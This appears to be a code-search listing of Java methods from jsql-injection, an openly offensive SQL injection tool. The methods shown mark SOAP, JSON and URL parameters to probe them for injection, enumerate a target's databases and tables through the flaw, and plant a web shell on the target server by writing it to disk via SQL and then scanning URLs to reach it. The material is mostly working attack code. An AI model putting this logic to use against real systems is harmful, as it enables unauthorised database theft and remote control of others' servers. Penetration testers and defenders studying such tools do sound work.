use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.
the class SoapUtil method injectTextNodes.
public static boolean injectTextNodes(Document doc, Node node) {
NodeList nodeList = node.getChildNodes();
boolean hasFoundInjection = false;
for (int i = 0; i < nodeList.getLength(); i++) {
Node currentNode = nodeList.item(i);
if (currentNode.getNodeType() == Node.ELEMENT_NODE) {
// calls this method for all the children which is Element
hasFoundInjection = SoapUtil.injectTextNodes(doc, currentNode);
if (hasFoundInjection) {
break;
}
} else if (currentNode.getNodeType() == Node.TEXT_NODE) {
SoapUtil.deleteInjectionPoint(doc, doc.getDocumentElement());
currentNode.setTextContent(currentNode.getTextContent() + InjectionModel.STAR);
ParameterUtil.initRequest(SoapUtil.convertDocumentToString(doc));
try {
LOGGER.info("Checking SOAP Request injection for " + currentNode.getParentNode().getNodeName() + "=" + currentNode.getTextContent().replace(InjectionModel.STAR, ""));
MediatorModel.model().testParameters(MethodInjection.REQUEST, ParameterUtil.getRequestAsText(), null);
hasFoundInjection = true;
// Injection successful
break;
} catch (JSqlException e) {
// Injection failure
LOGGER.warn("No SOAP Request injection for " + currentNode.getParentNode().getNodeName() + "=" + currentNode.getTextContent().replace(InjectionModel.STAR, ""), e);
} finally {
// // Erase * at the end of each params
// params.stream().forEach(e -> e.setValue(e.getValue().replaceAll(Pattern.quote(InjectionModel.STAR) +"$", "")));
//
// // Erase * from JSON if failure
// if (!hasFoundInjection) {
// paramStar.setValue(paramStar.getValue().replace("*", ""));
// }
}
}
}
return hasFoundInjection;
}
use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.
the class InjectionModel method testParameters.
/**
* Verify if injection works for specific Method using 3 modes: standard (last param), injection point
* and full params injection. Special injections like JSON and SOAP are checked.
* @param methodInjection currently tested (Query, Request or Header)
* @param paramsAsString to verify if contains injection point
* @param params from Query, Request or Header as a list of key/value to be tested for insertion character ;
* Mode standard: last param, mode injection point: no test, mode full: every params.
* @return true if injection didn't failed
* @throws JSqlException when no params' integrity, process stopped by user, or injection failure
*/
public boolean testParameters(MethodInjection methodInjection, String paramsAsString, List<SimpleEntry<String, String>> params) throws JSqlException {
boolean hasFoundInjection = false;
// or method is selected by user.
if (!PreferencesUtil.isCheckingAllParam() && ConnectionUtil.getMethodInjection() != methodInjection) {
return hasFoundInjection;
}
// Force injection method of model to current running method
ConnectionUtil.setMethodInjection(methodInjection);
// Default injection: last param tested only and no injection point
if (!methodInjection.isCheckingAllParam() && !paramsAsString.contains(InjectionModel.STAR)) {
// Injection point defined on last parameter
params.stream().reduce((a, b) -> b).ifPresent(e -> e.setValue(e.getValue() + InjectionModel.STAR));
// Will check param value by user.
// Notice options 'Inject each URL params' and 'inject JSON' must be checked both
// for JSON injection of last param
hasFoundInjection = this.testStrategies(IS_PARAM_BY_USER, !IS_JSON, params.stream().reduce((a, b) -> b).get());
// Injection by injection point
} else if (paramsAsString.contains(InjectionModel.STAR)) {
LOGGER.info("Checking single " + methodInjection.name() + " parameter with injection point at *");
// Will keep param value as is,
// Does not test for insertion character (param is null)
hasFoundInjection = this.testStrategies(!IS_PARAM_BY_USER, !IS_JSON, null);
// Injection of every params: isCheckingAllParam() == true.
// Params are tested one by one in two loops:
// - inner loop erases * from previous param
// - outer loop adds * to current param
} else {
// inner loop will erase mark * otherwise
for (SimpleEntry<String, String> paramBase : params) {
// For standard value mark * is simply added to the end of its value.
for (SimpleEntry<String, String> paramStar : params) {
if (paramStar == paramBase) {
// Will test if current value is a JSON entity
Object jsonEntity = null;
try {
// Test for JSON Object: {...}
jsonEntity = new JSONObject(paramStar.getValue());
} catch (JSONException exceptionJSONObject) {
try {
// Test for JSON Array: [...]
jsonEntity = new JSONArray(paramStar.getValue());
} catch (JSONException exceptionJSONArray) {
// Not a JSON entity
}
}
// Define a tree of JSON attributes with path as the key: root.a => value of a
List<SimpleEntry<String, String>> attributesJson = JsonUtil.loopThroughJson(jsonEntity, "root", null);
// Marks * are erased between each tests.
if (PreferencesUtil.isCheckingAllJSONParam() && !attributesJson.isEmpty()) {
// Loop through each JSON values
for (SimpleEntry<String, String> parentXPath : attributesJson) {
// Erase previously defined *
JsonUtil.loopThroughJson(jsonEntity, "root", null);
// Add * to current parameter's value
JsonUtil.loopThroughJson(jsonEntity, "root", parentXPath);
// Replace param value by marked one.
// paramStar and paramBase are the same object
paramStar.setValue(jsonEntity.toString());
try {
LOGGER.info("Checking JSON " + methodInjection.name() + " parameter " + parentXPath.getKey() + "=" + parentXPath.getValue().replace(InjectionModel.STAR, ""));
// Test current JSON value marked with * for injection
// Keep original param
hasFoundInjection = this.testStrategies(IS_PARAM_BY_USER, IS_JSON, paramBase);
// Injection successful
break;
} catch (JSqlException e) {
// Injection failure
LOGGER.warn("No " + methodInjection.name() + " injection found for JSON " + methodInjection.name() + " parameter " + parentXPath.getKey() + "=" + parentXPath.getValue().replace(InjectionModel.STAR, ""), e);
} finally {
// Erase * at the end of each params
params.stream().forEach(e -> e.setValue(e.getValue().replaceAll(Pattern.quote(InjectionModel.STAR) + "$", "")));
// Erase * from JSON if failure
if (!hasFoundInjection) {
paramStar.setValue(paramStar.getValue().replace("*", ""));
}
}
}
// Standard non JSON injection
} else {
// Add * to end of value
paramStar.setValue(paramStar.getValue() + InjectionModel.STAR);
try {
LOGGER.info("Checking " + methodInjection.name() + " parameter " + paramBase.getKey() + "=" + paramBase.getValue().replace(InjectionModel.STAR, ""));
// Test current standard value marked with * for injection
// Keep original param
hasFoundInjection = this.testStrategies(IS_PARAM_BY_USER, !IS_JSON, paramBase);
// Injection successful
break;
} catch (JSqlException e) {
// Injection failure
LOGGER.warn("No " + methodInjection.name() + " injection found for parameter " + paramBase.getKey() + "=" + paramBase.getValue().replace(InjectionModel.STAR, "") + " (" + e.getMessage() + ")", e);
} finally {
// Erase * at the end of each params
params.stream().forEach(e -> e.setValue(e.getValue().replaceAll(Pattern.quote(InjectionModel.STAR) + "$", "")));
}
}
}
}
// If injection successful then add * at the end of value
if (hasFoundInjection) {
paramBase.setValue(paramBase.getValue().replace("*", "") + "*");
break;
}
}
}
return hasFoundInjection;
}
use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.
the class DataAccess method listDatabases.
/**
* Get database names and table counts and send them to the view.<br>
* Use readable text (not hexa) and parse this pattern:<br>
* => hh[database name 1]jj[table count]hhgghh[database name 2]jj[table count]hhggh...hi<br>
* Data window can be cut before the end of the request but the process helps to obtain
* the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
* @return list of databases found
* @throws JSqlException when injection failure or stopped by user
*/
public static List<Database> listDatabases() throws JSqlException {
LOGGER.trace(I18n.valueByKey("LOG_FETCHING_DATABASES"));
List<Database> databases = new ArrayList<>();
String resultToParse = "";
try {
String[] sourcePage = { "" };
resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlDatabases(), sourcePage, true, 0, null);
} catch (SlidingException e) {
LOGGER.warn(e.getMessage(), e);
// Get pieces of data already retreived instead of losing them
if (!"".equals(e.getSlidingWindowAllRows())) {
resultToParse = e.getSlidingWindowAllRows();
} else if (!"".equals(e.getSlidingWindowCurrentRows())) {
resultToParse = e.getSlidingWindowCurrentRows();
}
} catch (Exception e) {
LOGGER.warn(e.getMessage(), e);
}
// Parse all data we have retrieved
Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + CELL_TABLE + ENCLOSE_VALUE_RGX).matcher(resultToParse);
if (!regexSearch.find()) {
throw new InjectionFailureException();
}
regexSearch.reset();
// Build an array of Database objects from the data we have parsed
while (regexSearch.find()) {
String databaseName = regexSearch.group(1);
String tableCount = regexSearch.group(2);
Database newDatabase = new Database(databaseName, tableCount);
databases.add(newDatabase);
}
Request request = new Request();
request.setMessage(Interaction.ADD_DATABASES);
request.setParameters(databases);
MediatorModel.model().sendToViews(request);
return databases;
}
use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.
the class DataAccess method listTables.
/**
* Get tables name and row count and send them to the view.<br>
* Use readable text (not hexa) and parse this pattern:<br>
* => hh[table name 1]jj[rows count]hhgghh[table name 2]jj[rows count]hhggh...hi<br>
* Data window can be cut before the end of the request but the process helps to obtain
* the rest of the unreachable data. The process can be interrupted by the user (stop/pause).
* @param database which contains tables to find
* @return list of tables found
* @throws JSqlException when injection failure or stopped by user
*/
public static List<Table> listTables(Database database) throws JSqlException {
// Reset stoppedByUser if list of Databases is partial
// and some Tables are still reachable
MediatorModel.model().setIsStoppedByUser(false);
List<Table> tables = new ArrayList<>();
// Inform the view that database has just been used
Request requestStartProgress = new Request();
requestStartProgress.setMessage(Interaction.START_PROGRESS);
requestStartProgress.setParameters(database);
MediatorModel.model().sendToViews(requestStartProgress);
String tableCount = Integer.toString(database.getChildCount());
String resultToParse = "";
try {
String[] pageSource = { "" };
resultToParse = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlTables(database), pageSource, true, Integer.parseInt(tableCount), database);
} catch (SlidingException e) {
LOGGER.warn(e.getMessage(), e);
// Get pieces of data already retreived instead of losing them
if (!"".equals(e.getSlidingWindowAllRows())) {
resultToParse = e.getSlidingWindowAllRows();
} else if (!"".equals(e.getSlidingWindowCurrentRows())) {
resultToParse = e.getSlidingWindowCurrentRows();
}
} catch (Exception e) {
LOGGER.warn(e.getMessage(), e);
}
// Parse all the data we have retrieved
Matcher regexSearch = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + CELL_TABLE + ENCLOSE_VALUE_RGX).matcher(resultToParse);
Request requestEndProgress = new Request();
requestEndProgress.setMessage(Interaction.END_PROGRESS);
requestEndProgress.setParameters(database);
MediatorModel.model().sendToViews(requestEndProgress);
if (!regexSearch.find()) {
throw new InjectionFailureException();
}
regexSearch.reset();
// Build an array of Table objects from the data we have parsed
while (regexSearch.find()) {
String tableName = regexSearch.group(1);
String rowCount = regexSearch.group(2);
Table newTable = new Table(tableName, rowCount, database);
tables.add(newTable);
}
Request requestAddTables = new Request();
requestAddTables.setMessage(Interaction.ADD_TABLES);
requestAddTables.setParameters(tables);
MediatorModel.model().sendToViews(requestAddTables);
return tables;
}
use of com.jsql.model.exception.JSqlException in project jsql-injection by ron190.
the class RessourceAccess method createWebShell.
/**
* Create a webshell in the server.
* @param pathShell Remote path othe file
* @param url
* @throws InterruptedException
* @throws InjectionFailureException
* @throws StoppedByUserSlidingException
*/
public static void createWebShell(String pathShell, String urlShell) throws JSqlException, InterruptedException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.web").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
String pathShellFixed = pathShell;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_WEBSHELL));
String resultInjection;
String[] sourcePage = { "" };
try {
resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_WEBSHELL), sourcePage, false, 1, null);
if ("".equals(resultInjection)) {
throw new JSqlException("payload integrity verification: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("injected payload does not match source", e);
}
if (!urlShell.isEmpty()) {
urlShell = urlShell.replaceAll("/*$", "") + "/";
}
String url = urlShell;
if ("".equals(url)) {
url = ConnectionUtil.getUrlBase();
}
if (resultInjection.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("Web payload created into \"" + pathShellFixed + FILENAME_WEBSHELL + "\"");
//
String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
String urlProtocol;
if ("/".equals(urlWithoutProtocol)) {
urlProtocol = url.replaceAll("/+$", "");
} else {
urlProtocol = url.replace(urlWithoutProtocol, "");
}
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName : urlWithoutFileName.split("/")) {
directoryNames.add(directoryName + "/");
}
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateWebShell"));
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
StringBuilder urlPart = new StringBuilder();
for (String segment : directoryNames) {
urlPart.append(segment);
taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_WEBSHELL));
}
int submittedTasks = directoryNames.size() * 1;
int tasksHandled;
String urlSuccess = null;
for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
urlSuccess = currentCallable.getUrl();
if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
} else {
LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
}
} else {
LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while checking Web shell", e);
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
if (urlSuccess != null) {
Request request = new Request();
request.setMessage(Interaction.CREATE_SHELL_TAB);
request.setParameters(pathShellFixed.replace(FILENAME_WEBSHELL, ""), urlSuccess);
MediatorModel.model().sendToViews(request);
} else {
LOGGER.warn("HTTP connection to Web payload not found");
}
} else {
throw new JSqlException("Incorrect Web payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
}
Aggregations